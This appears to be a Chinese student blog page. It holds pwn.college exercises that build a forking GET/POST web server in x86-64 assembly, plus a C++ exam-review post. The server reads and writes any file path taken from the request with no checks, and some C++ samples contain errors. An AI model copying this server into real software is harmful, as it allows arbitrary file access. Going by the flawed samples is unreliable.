 mov dword ptr [rsp+8], 0x30303220
 mov dword ptr [rsp+12], 0x0d4b4f20
 mov word ptr [rsp+16], 0x0d0a
 mov byte ptr [rsp+18], 0x0a

 /* send http */
 mov rdi,r13 /* client fd */
 mov rsi,rsp /* pointer to buf*/
 mov rdx,19
 mov rax,1
 syscall

 /* write file's content to client*/
 mov rdi,r13
 mov rsi,rbx /*上面mov rsi,rbx将内容留存在了rbx当时的地址中*/
 mov rdx,r15
 mov rax,1
 syscall

 /*close client */
 mov rdi,r13
 mov rax,3
 syscall

 jmp .server_loop
.exit:
 /* exit */
 mov rdi,0
 mov rax,60
 syscall

‍

concurrent GET Server

在原本的基础上使用fork子进程来实现执行GET操作，批注写在代码里了

将前一段的代码进行分段修改后，如果成功fork了进程则进入进行操作，否则直接server进行close

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130


 /* socket */
 mov rdi,2
 mov rsi,1
 mov rdx,0
 mov rax,41
 syscall

 /* socket fd */
 mov r12,rax

 /*struct sockaddr_in 80=0x5000,*/
 sub rsp,16

 mov word ptr [rsp],2 #AF_INET
 mov word ptr [rsp+2],0x5000
 mov dword ptr [rsp+4],0
 mov qword ptr [rsp+8],0

 /* bind */
 mov rdi,r12
 mov rsi,rsp
 mov rdx,16 /*addrlen*/
 mov rax,49
 syscall

 /* listen */
 mov rdi,r12 /*sockfd*/
 mov rsi,0 /* backlog=0*/
 mov rax,50
 syscall

server_loop:
 /* accept */
 /*accpet(sockfd, &client_addr, &addr_len)*/
 mov rdi,r12
 mov rsi,0
 mov rdx,0
 mov rax,43
 syscall
 mov r13,rax /*socket fd from client*/

 /*fork*/
 mov rax,57
 syscall

 test rax,rax
 jz child_process
 jmp parent_process

child_process:
 mov rdi,r12
 mov rax,3
 syscall

 /* read buffer */
 sub rsp, 0x100
 mov rdi, r13
 mov rsi, rsp
 mov rdx, 0x100
 xor rax, rax
 syscall

 /* open file and read*/
 lea rbx,[rsp+4]
 find_space:
 cmp byte ptr [rbx],0x20
 je found_space
 inc rbx
 jmp find_space
 found_space:
 mov byte ptr [rbx],0
 lea rdi,[rsp+4]
 xor rsi,rsi
 mov rax,2
 syscall
 mov r8,rax

 sub rsp,0x200
 mov rbx,rsp

 mov rdi,r8
 mov rsi,rbx
 mov rdx,0x200
 xor rax,rax
 syscall
 mov r15,rax /*save the length*/

 /*close file*/
 mov rdi,r8
 mov rax,3
 syscall

 /* bytes to write head of http */
 sub rsp, 32
 mov dword ptr [rsp], 0x50545448
 mov dword ptr [rsp+4], 0x302e312f
 mov dword ptr [rsp+8], 0x30303220
 mov dword ptr [rsp+12], 0x0d4b4f20
 mov word ptr [rsp+16], 0x0d0a
 mov byte ptr [rsp+18], 0x0a

 /* send http */
 mov rdi,r13 /* client fd */
 mov rsi,rsp /* pointer to buf*/
 mov rdx,19
 mov rax,1
 syscall

 /* write file content to client*/
 mov rdi,r13
 mov rsi,rbx /*上面mov rsi,rbx将内容留存在了rbx当时的地址中*/
 mov rdx,r15
 mov rax,1
 syscall

 /*close client */
 mov rdi,r13
 mov rax,3
 syscall

 /* exit child_porcess*/
 mov rdi,0
 mov rax,60
 syscall
parent_process:
 mov rdi,r13
 mov rax,3
 syscall

 jmp server_loop

检测的时候分为对parent process和child process的检测（卧槽了这挑战检测的代码是怎么用python写的，好牛逼）

concurrent POST Server

but this time instead of reading from that file, you will instead write to it with the incoming POST data. In order to do so, you must determine the length of the incoming POST data.

emm, 原来POST的数据长度一定要写入请求是这个原因

首次测试，可以正常读入数据，但是传给open的句柄出错了

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158


code = asm("""
 /* socket */
 mov rdi,2
 mov rsi,1
 mov rdx,0
 mov rax,41
 syscall

 /* socket fd */
 mov r12,rax

 /*struct sockaddr_in 80=0x5000,*/
 sub rsp,16

 mov word ptr [rsp],2 #AF_INET
 mov word ptr [rsp+2],0x5000
 mov dword ptr [rsp+4],0
 mov qword ptr [rsp+8],0

 /* bind */
 mov rdi,r12
 mov rsi,rsp
 mov rdx,16 /*addrlen*/
 mov rax,49
 syscall

 /* listen */
 mov rdi,r12 /*sockfd*/
 mov rsi,0 /* backlog=0*/
 mov rax,50
 syscall

server_loop:
 /* accept */
 /*accpet(sockfd, &client_addr, &addr_len)*/
 mov rdi,r12
 mov rsi,0
 mov rdx,0
 mov rax,43
 syscall
 mov r13,rax /*socket fd from client*/

 /*fork*/
 mov rax,57
 syscall

 test rax,rax
 jz child_process
 jmp parent_process

child_process:
 /* close socket */
 mov rdi,r12
 mov rax,3
 syscall

 /* read buffer*/
 sub rsp,0x400
 mov rdi,r13
 mov rsi,rsp
 mov rdx,0x400 /*1024 most*/
 xor rax,rax
 syscall

 /* read bytes length */
 mov r14,rax

 /* find the path */
 lea rbx,[rsp+5] /*skip POST*/
 mov r15,rbx

find_space:
 cmp byte ptr [rbx],0x20
 je found_space
 inc rbx
 jmp find_space

found_space:
 /* if found,then analysis what is the text */
 mov byte ptr [rbx],0

 /* open it as writing mode */
 mov rdi,r15
 mov rsi,0x41 /* O_WRONLY|O_CREAT*/
 mov rdx,0x1ff /*0777*/
 mov rax,2
 syscall
 /* save file fd to r8*/
 mov r8,rax

 /* find the body after the \r\n\r\n */
 lea rdi,[rsp]
 mov rcx,r14
 mov eax,0x0a0d0a0d


find_body:
 cmp dword ptr [rdi],eax
 je found_body
 inc rdi
 loop find_body
 jmp close_file

found_body:
 add rdi,4
 mov r15,rdi

 lea rax,[rsp]
 add rax,r14
 sub rax,r15 /*sub length of request body*/
 mov rcx,rax /*save length*/

 /* write the POST data in */
 mov rdi,r8
 mov rsi,r15
 mov rdx,rcx
 mov rax,1
 syscall

close_file:
 mov rdi,r8
 mov rax,3
 syscall

send_200:

 /* bytes to write's head of http */
 lea rsi,[rsp+0x40]
 mov dword ptr [rsi], 0x50545448
 mov dword ptr [rsi+4], 0x302e312f
 mov dword ptr [rsi+8], 0x30303220
 mov dword ptr [rsi+12], 0x0d4b4f20
 mov word ptr [rsi+16], 0x0d0a
 mov byte ptr [rsi+18], 0x0a

 /* send http */
 mov rdi,r13 /* client fd */
 mov rdx,19
 mov rax,1
 syscall

 /*close client */
 mov rdi,r13
 mov rax,3
 syscall

 /* exit child_porcess*/
 mov rdi,0
 mov rax,60
 syscall

parent_process:
 mov rdi,r13
 mov rax,3
 syscall

 jmp server_loop
""")

‍

Web Server

为何一定要用汇编写，我思考了很久这个问题，得出的结果是牛魔的pwncollege想累死我，处理成两个分支，再加上了一些补充的点，这里的汇编全都是用的rsp缓冲区，不涉及栈空间

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263


from pwn import *
import os

context(log_level="debug", arch='amd64')


def VIO_TEXT(x, code=95):
 return f"\x1b[{code}m{x}\x1b[0m"


code = asm("""
 /* socket */
 mov rdi,2
 mov rsi,1
 mov rdx,0
 mov rax,41
 syscall

 /* socket fd */
 mov r12,rax

 /*struct sockaddr_in 80=0x5000,*/
 sub rsp,16

 mov word ptr [rsp],2 #AF_INET
 mov word ptr [rsp+2],0x5000
 mov dword ptr [rsp+4],0
 mov qword ptr [rsp+8],0

 /* bind */
 mov rdi,r12
 mov rsi,rsp
 mov rdx,16 /*addrlen*/
 mov rax,49
 syscall

 /* listen */
 mov rdi,r12 /*sockfd*/
 mov rsi,0 /* backlog=0*/
 mov rax,50
 syscall

server_loop:
 /* accept */
 /*accpet(sockfd, &client_addr, &addr_len)*/
 mov rdi,r12
 mov rsi,0
 mov rdx,0
 mov rax,43
 syscall
 mov r13,rax /*socket fd from client*/

 /*fork*/
 mov rax,57
 syscall

 test rax,rax
 jz child_process
 jmp parent_process

child_process:
 /* close server socket in child */
 mov rdi,r12
 mov rax,3
 syscall

 /* read buffer*/
 sub rsp,0x400
 mov rdi,r13
 mov rsi,rsp
 mov rdx,0x400 /*1024 most*/
 xor rax,rax
 syscall

 /* read bytes length */
 mov r14,rax

 /* Check request type: GET or POST */
 mov al, byte ptr [rsp] /* First character */
 cmp al, 'G'
 je handle_get
 cmp al, 'P'
 je handle_post
 jmp send_404 /* Unknown method */

handle_get:
 /* GET request processing */
 /* find the path */
 lea rbx,[rsp+4] /*skip "GET "*/
 mov r15,rbx

find_space_get:
 cmp byte ptr [rbx],0x20
 je found_space_get
 inc rbx
 jmp find_space_get

found_space_get:
 mov byte ptr [rbx],0

 /* open file for reading */
 mov rdi,r15
 xor rsi,rsi /* O_RDONLY */
 mov rax,2
 syscall

 cmp rax, 0
 jl send_404 /* File not found */

 mov r8,rax /* save file fd */

 /* read file content */
 sub rsp,0x200
 mov rbx,rsp

 mov rdi,r8
 mov rsi,rbx
 mov rdx,0x200
 xor rax,rax
 syscall
 mov r15,rax /* save the length */

 /* close file */
 mov rdi,r8
 mov rax,3
 syscall

 jmp send_response

handle_post:
 /* POST request processing */
 /* find the path */
 lea rbx,[rsp+5] /*skip "POST "*/
 mov r15,rbx

find_space_post:
 cmp byte ptr [rbx],0x20
 je found_space_post
 inc rbx
 jmp find_space_post

found_space_post:
 mov byte ptr [rbx],0

 /* open file for writing (create if not exists) */
 mov rdi,r15
 mov rsi,0x41 /* O_WRONLY|O_CREAT */
 mov rdx,0x1ff /* 0777 */
 mov rax,2
 syscall
 mov r8,rax /* save file fd */

 /* find the body after \r\n\r\n */
 lea rdi,[rsp]
 mov rcx,r14
 mov eax,0x0a0d0a0d /* \r\n\r\n */

find_body:
 cmp dword ptr [rdi],eax
 je found_body
 inc rdi
 loop find_body
 jmp close_file_post /* No body found */

found_body:
 add rdi,4
 mov r15,rdi

 lea rax,[rsp]
 add rax,r14
 sub rax,r15 /* body length */
 mov rcx,rax

 /* write POST data to file */
 mov rdi,r8
 mov rsi,r15
 mov rdx,rcx
 mov rax,1
 syscall

close_file_post:
 mov rdi,r8
 mov rax,3
 syscall

 /* For POST, we'll send success response but no file content */
 mov r15, 0 /* No content to send after headers */
 jmp send_response

send_404:
 /* Prepare 404 Not Found response */
 sub rsp, 32
 mov dword ptr [rsp], 0x50545448
 mov dword ptr [rsp+4], 0x302e312f
 mov dword ptr [rsp+8], 0x34303420
 mov dword ptr [rsp+12], 0x0d464e20
 mov word ptr [rsp+16], 0x0a0d
 mov byte ptr [rsp+18], 0x0a

 mov rdi, r13
 mov rsi, rsp
 mov rdx, 19
 mov rax, 1
 syscall

 jmp cleanup_child

send_response:
 /* Send HTTP 200 OK headers */
 sub rsp, 32
 mov dword ptr [rsp], 0x50545448
 mov dword ptr [rsp+4], 0x302e312f
 mov dword ptr [rsp+8], 0x30303220
 mov dword ptr [rsp+12], 0x0d4b4f20
 mov word ptr [rsp+16], 0x0a0d
 mov byte ptr [rsp+18], 0x0a

 /* Send headers */
 mov rdi, r13
 mov rsi, rsp
 mov rdx, 19
 mov rax, 1
 syscall

 /* If there's file content (GET request), send it */
 test r15, r15
 jz cleanup_child

 mov rdi, r13
 mov rsi, rbx /* File content buffer */
 mov rdx, r15 /* Content length */
 mov rax, 1
 syscall

cleanup_child:
 /* Close client socket */
 mov rdi, r13
 mov rax, 3
 syscall

 mov rdi, 0
 mov rax, 60
 syscall

parent_process:
 mov rdi, r13
 mov rax, 3
 syscall
 jmp server_loop
""")

print(VIO_TEXT("生成的机器码:"))
print(code)

elf = make_elf(code)

with open('server', 'wb') as f:
 f.write(elf)

os.chmod('server', 0o755)

p = process(['/challenge/run', './server'])
p.interactive()

emmm, 虽然成功了但是为何test都是?

这也是最后有点困惑的地方

南大PA 0 1小记

Fri, 22 Aug 2025 14:17:00 +0000

详情可见
南大pa.zip
注意是markdown格式的，有多层引用，请务必用markdown相关编辑器打开和浏览

C++期末大复习😁

Thu, 05 Jun 2025 15:25:00 +0000

奇闻轶事

T0fv404 2025-06-01 22:30

怎么办C++什么都看不懂了QAQ，我不要看，我不要看口牙！～（大声）

2025-06-01 23:02 Nan0in

铸币吧课一节不上自己也不学，早干嘛了

前言

首先HDU C++面向对象编程。。。怎么说呢老师该讲的确实都讲了，但是我不喜欢课程的节奏就自己去看C++ Primer Plus了，但是这确实是个大任务因为书太厚了
我们期末考是笔试，课程评分分为

期末70 平时30
期末考40分选择，20道题一题2分
10分判断
程序填空10分
程序阅读20分
程序设计题20分

考点其实也不多，有时间看我C++ Primer Plus读书笔记博客

那就开始概括吧，部分参考了学长的资料

概括

绪论

面向对象与面向过程：

类和对象区别
类的基本概念
封装

函数

参数什么时候传入引用&，什么时候不需要（理解引用）
内联函数是什么？如何实现？作用是？
默认参数值的函数以及默认参数值的说明顺序
函数重载，什么函数可以重载，如何实现函数重载

类与对象

抽象封装继承多态四大件
类的定义
继承的三种方式
构造函数，默认构造函数，拷贝构造函数以及拷贝时的赋值（什么时候会调用拷贝构造函数），什么时候编译器会自动为你生成一个默认构造函数
析构函数
字符串类
深拷贝和浅拷贝（你要理解指针的原理和使用）
组合类的特点和构造函数

数组指针

数组名->指针（理解）
常量指针和指针常量
指针数组
this指针
函数指针
回调函数
new delete使用动态

数据共享与保护

生存期与可见性
静态成员函数、数据成员以及他们的特点和使用场景，如何调用静态成员函数
友元类和友元函数
保护，你要理解const常对象，常成员和常引用
常成员函数的声明形式
顶层const和底层cosnt含义和区别

继承与派生

单继承多继承的概念
派生类语法和派生类使用和生成过程
改造基类成员（同名的时候怎么办？）
类型兼容规则
多继承构造函数
派生与基类对象重名(ppt里有例子)
区分虚继承、虚基类和虚函数

多态

运算符重载（只有已存在支持运算符重载）
定义为成员函数的运算符重载和定义为非成员函数的运算符重载
友元
整形+复数运算实现的复现前置++后置++的重载
虚函数，构造函数不设计虚函数而析构函数鼓励设置成虚函数的原因
纯虚函数
抽象基类

重点考点 5.3 5.4 指针指针关键考察：bool char int long int, 表2-1 对象指针（类名对象指针名） this指针用法 new和delete不考类型兼容规则实例的代码非常关键，“基类的构造函数不被继承这一页也是重要考点” 派生类的析构函数，同名成员举例部分，虚基类作用7-8 实现shape类（必考点，派生类调用，代码补全）几乎可以重载全部运算符（你觉得这句话为什么要加几乎 “.” “::“等不会重载）重载看实型+复数的例题，单目运算符重载方式虚函数，虚函数必须是非静态的成员函数（典型代码，跟之前虚基类之间选一个进行考）抽象类的特点和理解，构造函数不虚，析构可虚，参数传递考小题

详情

面向过程与面向对象程序设计

面向过程程序设计

自顶而下，分而治之
程序结构

按功能划分模块，形成树状结构
各模块间关系尽可能简单，功能上相对独立

面向对象程序设计

将客观事物看作具有属性和行为的对象
抽象出同一类别对象的共同属性和行为将其封装作为类
通过类的继承、多态实现代码复用

概念：

对象(Object) 系统中用来描述客观事物的实体，对象由一组属性和一组行为构成
- 属性：描述对象静态特征的数据项——数据
- 行为：描述对象动态特征的操作——函数
类（Class）具有相同属性和服务的一组对象的集合，为对象提供抽象描述，包裹属性和行为

类与对象——模具与实际件类是人，对象是独特个体

封装将对象的属性和行为结合成独立的系统单元，意思是学会尽可能隐藏对象内部信息，只保留有限对外接口发生联系与交互

函数

内联函数

inline, 编译时在调用处用函数体进行替换，节省参数传递、控制转移等开销

内联函数体内无循环和switch
内联函数声明在第一次被调用之前
对照宏：#define ADD(A,B) A+B

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


#include <iostream>
using namespace std;

const double PI=...
inline double calArea(double radius){
 return PI*radius*radius;
}

int main(){
double r=3.0;
double area = calArea(r);
cout<<area<endl;
return 0;
}

带默认参数函数

有默认参数的形参必须在形参列表后，也就是说默认参数右面不能有无默认值参数，调用时实参与形参结合从左向右

1
2
3


int add(int x,int y=5,int z=6); //✔对
int add(int x=4,int y=5,int z); //xx错
int add(int x=1,int y int z=6); //xx错

如果一个函数有原型声明，且原型声明在定义之前，则默认参数必须在函数原型声明中给出; 而如果只有函数的定义或函数定义在前，默认参数在函数定义中给出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


//1 原型声明在前
int add(int x=5,int y=6);
int main(){
 add();
}

//这里不能再指定默认值了
int add(int x,int y){
 return x+y;
}

int add(int x=5,int y=6){
 //直接定义
 return x+y;
}
int main(){
 add();
}

函数重载

将功能相似的函数以相同函数名声明形成重载，便于使用

1
2
3
4
5
6
7


int add(int x,int y);

//类型不同
float add(float x,float y);

//形参个数不同
int add(int x,int y,int z);

注意形参必须存在不同，或个数或类型而名字和返回值是不可行的
——根据函数有无const决定是否重载，而编译程序根据实参和形参类型、个数会自动最佳匹配来选择调用哪一个函数

析构函数不可重载

参数传递

值传递——传递参数值，单向
引用传递——双向传递使用& 引用传递声明时候必须同时对它进行初始化，使其指向一个已存在的对象

1
2
3
4


int i,j;
int &ri=i;
j=10;
ri=j; //i=j

一个引用初始化后不能改为指向其他对象，可作形参

类与对象

类

具有相同属性和行为的一组对象的集合，为属于该类的全部对象提供抽统一抽象描述，内部包含属性和行为
数据的封装、继承与派生都是利用类实现的
利用类更易于编写大型复杂程序，模块化程度比C中使用函数更高

构造函数

没有返回值

作用：在对象被创建的时候使用特定值构造对象
对象创建时自动调用
程序中未声明则系统生出默认构造函数，参数为空
类型：可以是内联函数、重载函数、带默认参数值函数（其实就是大部分你学过的函数）

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


// 时钟实例
#include <iostream>
using namespace std;
class Clock {
public:
 Clock(int h, int m, int s);
 void setTime(int h, int m, int s);
 void showTime() { printf("%d %d %d\n", hour, minute, second); }

private:
 int hour;
 int minute;
 int second;
};

Clock::Clock(int h, int m, int s) {
 hour = h;
 minute = m;
 second = s;
}
int main() {
 Clock c1(0, 0, 0);//调用有参数构造函数，无参数的就直接Clock c2,系统会生成默认构造函数;
 c1.showTime();
 return 0;
}

复制构造函数

特殊的构造函数，形参为本类的对象引用。作用上会将已存在的对象初始化同类型的新对象
当我们没有明确定义一个复制构造函数，编译器会生成一个
格式如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


class 类名
{
public:
 类名（形参表）
 类名（类名 &对象名）; //复制构造函数
 ...
};
类名::类名（类名 & 对象名）{
 函数体//具体实现
}

具体实现：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


class Point
{
public:
 Point(int xx=0,yy=0){
 x=xx;y=yy; //构造函数
 }
 Point(Point &p);//复制构造函数
 int getX(){return x;}
 int getY(){return y;}
private:
 int x,y;
}

被调用的三种情况：

定义一个对象， 以本类其他对象作为初始值
函数的形参是类的对象，调用函数时，使用实参对象初始化形参对象，发生复制构造
返回值是类的对象，函数执行完成返回主调函数，使用return语句中对象初始化一个临时无名对象（可见运算符重载）下面看一个覆盖了三种情况的例子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


void fun1(Point p){
 cout<<p.getX()<<endl;
}
Point fun2(){
 Point a(1,2);
 return a;
}

void main(){
 Point a(4,5); //第一个对象a
 Point b=a; //情况一，用A初始化B
 cout<<b.getX()<<endl;

 fun1(b);//情况二，对象B作为fun1实参，调用复制构造函数
 b=fun2();//情况三，函数返回值是类对象，函数返回调用复制构造函数
 cout<<b.getX()<<endl;
}

析构函数

完成对象被删除前的一些清理工作
在对象的生存期结束的时刻系统调用并释放对象所属空间
程序中未声明析构函数，编译器会自动生成一个隐含的析构函数

动态内存分配

new 类型名T(初始化参数列表)

用于程序执行期间，申请用于存放T类型对象内存空间，成功会抛出T类型指针

delete 指针p

释放p所指向内存，p必须是new操作的返回值

以上二者必须配对使用

1
2
3
4
5
6
7
8


Point* ptr1 = new Point; //可看看ptr1值
delete ptr1;
int *x = new int; //x不确定

int *x = new int(); //x=0，如果删除这个的话这个空间会被赋值一个奇怪的数，可以自己看看

Point* ptr=new Point[2]; // 创建对象数组
delete[] ptr; //删除整个对象数组

浅复制和深复制

浅复制

只复制指针，相当于源对象实际上与复制对象公用一个内存数据成员带有指针时，使用浅复制可能出现问题（比如内存泄漏，然后我们就可以伪造数据，或许就能pwn了嘿嘿）

比如这个图中的World这部分的内存就没有指针会去指向它了，有因为没有被销毁，成为了孤儿内存

深复制

一并复制对象空间和资源，源对象与复制对象互相独立，占不同内存。
一般需要自行写 复制构造函数和赋值函数
注意在赋值的时候检测是否 自我赋值

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


#include <bits/stdc++.h>
using namespace std;
class String {
public:
 String(const char *cstr = 0);
 String(const String &str);
 String &operator=(const String &str);
 ~String();

private:
 char *m_data;
};

String::String(const char *cstr) {
 if (cstr) {
 m_data = new char[strlen(cstr) + 1];
 strcpy(m_data, cstr);
 } else {
 m_data = new char[1];
 *m_data = '\0';
 }
}

String::~String() { delete[] m_data; }

String::String(const String &str) {
 m_data = new char[strlen(str.m_data) + 1];
 strcpy(m_data, str.m_data);
}

String &String::operator=(const String &str) {
 if (this == &str)
 return *this; // 如果已经有自我赋值就返回

 delete[] m_data; // 释放原有内存
 m_data = new char[strlen(str.m_data) + 1]; // 分配新内存
 strcpy(m_data, str.m_data); // 复制内容
 return *this;
}

int main() {
 String s1;
 String s2("hello");// 构造
 String s3(s1); //复制构造
 s3 = s2;
 return 0;
}

总结一下：深复制会一并复制对象空间和资源，而源对象与复制对象互相独立占不同内存，需要自己写复制构造函数和赋值函数

类的组合

类中成员数据是另一个类的对象
在已有抽象的基础上实现复杂抽象，也就是组合类
比如在Point类上定义Line类和三角形类

组合类的构造函数

第一步先调用内嵌对象的构造函数，调用顺序按照对象在组合类定义中出现顺序来，根据初始化列表判断使用构造函数还是拷贝构造函数。

如果一个内嵌对象没有默认构造函数，在组合类的初始化列表中要给对象成员也初始化，对于继承的构造函数同理

第二步然后执行本类构造函数的函数体
析构函数调用顺序相反（你就当作先进后出这种）

语法格式：类名:::类名（形参列表）：内嵌对象1（形参表），形参对象2（形参表）

实例：

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


#include <cmath>
#include <iostream>
using namespace std;
class Point {
public:
 Point(int xx = 0, int yy = 0) {
 x = xx;
 y = yy; // 构造函数
 }
 Point(Point &p) {
 x = p.x;
 y = p.y;
 cout << "copy constructor has been called for (" << x << "," << y << ")"
 << endl;
 } // 复制构造函数
 int getX() { return x; }
 int getY() { return y; }

private:
 int x, y;
};

class Line {
public:
 Line(Point xp1, Point xp2);
 Line(Line &l);
 double getLen() { return len; }

private:
 Point p1, p2;
 double len;
};

Line::Line(Point xp1, Point xp2) : p1(xp1), p2(xp2) { // 组合类构造函数，内部再次调用复制构造函数进行p1 p2赋值
 cout << "calling constructor for Line" << endl;
 double x = static_cast<double>(p1.getX() - p2.getX());
 double y = static_cast<double>(p1.getY() - p2.getY());
 len = sqrt(x * x + y * y);
};
Line::Line(Line &l) : p1(l.p1), p2(l.p2) { // 组合类复制构造函数
 cout << "calling copy constructor for Line" << endl;
 len = l.len;
};

int main() {
 Point myp1(1, 1), myp2(4, 5);
 Line line(myp1, myp2);
 puts("This is LINE~~~~~~~~~~~~~~~~~~~~");
 Line line2(line); // 复制构造函数建立新对象
 cout << "the length of the line1 is " << line.getLen() << endl;
 cout << "the length of the line2 is " << line2.getLen() << endl;
 return 0;
}

抽象

对具体对象（即问题）进行概括，抽出该类对象的公共性质并加以描述的过程。
以时钟为例

数据抽象：描述某类对象的属性或状态（时分秒）
代码抽象：描述某类对象的共有的行为特征或具有的功能。（比如设定时间、显示时间的功能）抽象通过类的声明具体实现

封装

将抽象的数据成员、代码成员相结合，视为一个整体
目的上增强了安全性，简化了编程，使用者也不必了解具体实现细节，通过接口和特定访问权限来使用类的成员
{}用于类声明中实现封装

1
2
3
4
5
6
7
8


class Clock
{
 public:
 void setTime(int newH,int newM,int newS);
 void showTime();
 private:
 int hour,minute,second;
}

继承

C++中支持层次分类的机制，允许程序员在保持原有类特性的基础上进行更具体的说明，见下文继承与派生

多态

见下文多态与多态性

数据共享与保护

文件作用域

这个很好区分的看实例，局部作用域在块中声明，作用域自声明处起，限定在块中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


#include<iostream>
using namespace std;

int i; //全局
void main(){
 i=5; //全局i赋值
 {
 int i; // 局部
 i = 7;
 cout<< "i = "<<i<<endl;//7
 }
 cout<<" i = " <<i<<endl;//5
}

可见性
- 标识符声明在先，引用在后
- 某个标识符外层声明，内层没有同一标识符声明，该标识符内层可见
- 对于两个嵌套作用域，如果在内层作用域声明与外层作用域同名标识符，外层作用域标识符在内层不可见（暂时覆盖）
- 就近原则
对象生存期
- 对象从产生到结束的时间
- 对象生存期内，对象保持它的值直到被更新
- 函数内部声明静态生存期对象-static（不会被重置）
动态生存期
- 块作用域中声明的，没有用static修饰的对象是动态生存期对象
- 开始于程序执行到声明点，结束于命名该标识符的作用域结束处

静态数据成员相关

static声明
被类所有对象共享，静态生存期
类外定义和初始化，::指明所属类

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


#include <iostream>
using namespace std;
class Point {
private:
 int x, y;
 static int count; // static member variable

public:
 Point(int x = 0, int y = 0) : x(x), y(y) {
 // 构造函数中进行++，因此所有对象共享该唯一一个count
 count++;
 }
 Point(Point &p) {
 x = p.x;
 y = p.y;
 count++;
 }
 ~Point() { count--; }
 int getX() { return x; }
 int getY() { return y; }
 void showCount() { cout << " Object count = " << count << endl; }
};
int Point::count = 0; // 初始化，使用类名限定

int main() {

 Point a(4, 5);

 cout << "Point A: " << a.getX() << "," << a.getY() << endl;
 a.showCount();

 Point b(a);

 cout << "Point B: " << b.getX() << "," << b.getY() << endl;
 b.showCount();
 return 0;
}

静态成员函数只能访问静态数据成员、静态成员函数如

1
2
3
4
5
6
7


static void showCount(){
cout<<"Object count = " <<count<<endl;
}

//main中，可以通过
//1.Point::showCount();
//2.a.showCount();

类的友元

（非常匪夷所思）

c++提供的破坏数据封装和数据隐藏的机制（尽量不使用和减少使用以保证数据封装和隐藏）
使用友元函数和友元类

友元函数

^fc3201

用friend修饰说明的非成员函数，在函数体中可以通过对象名访问private和protected成员（进行了破坏）
作用：增加了灵活性，是程序员更好在封装和快速性做合理选择
访问对象中成员必须通过对象名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


#include <cmath>
#include <iostream>
using namespace std;

class Point {
public:
 Point(int x = 0, int y = 0) : x(x), y(y) {}
 int getX() { return x; }
 int getY() { return y; }
 friend float dist(Point &a, Point &b);

private:
 int x, y;
};

float dist(Point &a, Point &b) {
 double x = a.x - b.x;
 double y = a.y - b.y;
 return float(sqrt(x * x + y * y));
}

int main() {
 Point p1(1, 1), p2(4, 5);
 cout << "Distance between p1 and p2 is: " << dist(p1, p2) << endl;
 return 0;
}

dist这里设置为了非类内相关的普通成员函数，由此设置friend可以访问到类内private成员

友元类

一个类为另一个类的友元，此类中所有成员都可以访问对方类的私有成员
用friend将友元类名在另一个类中修饰

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
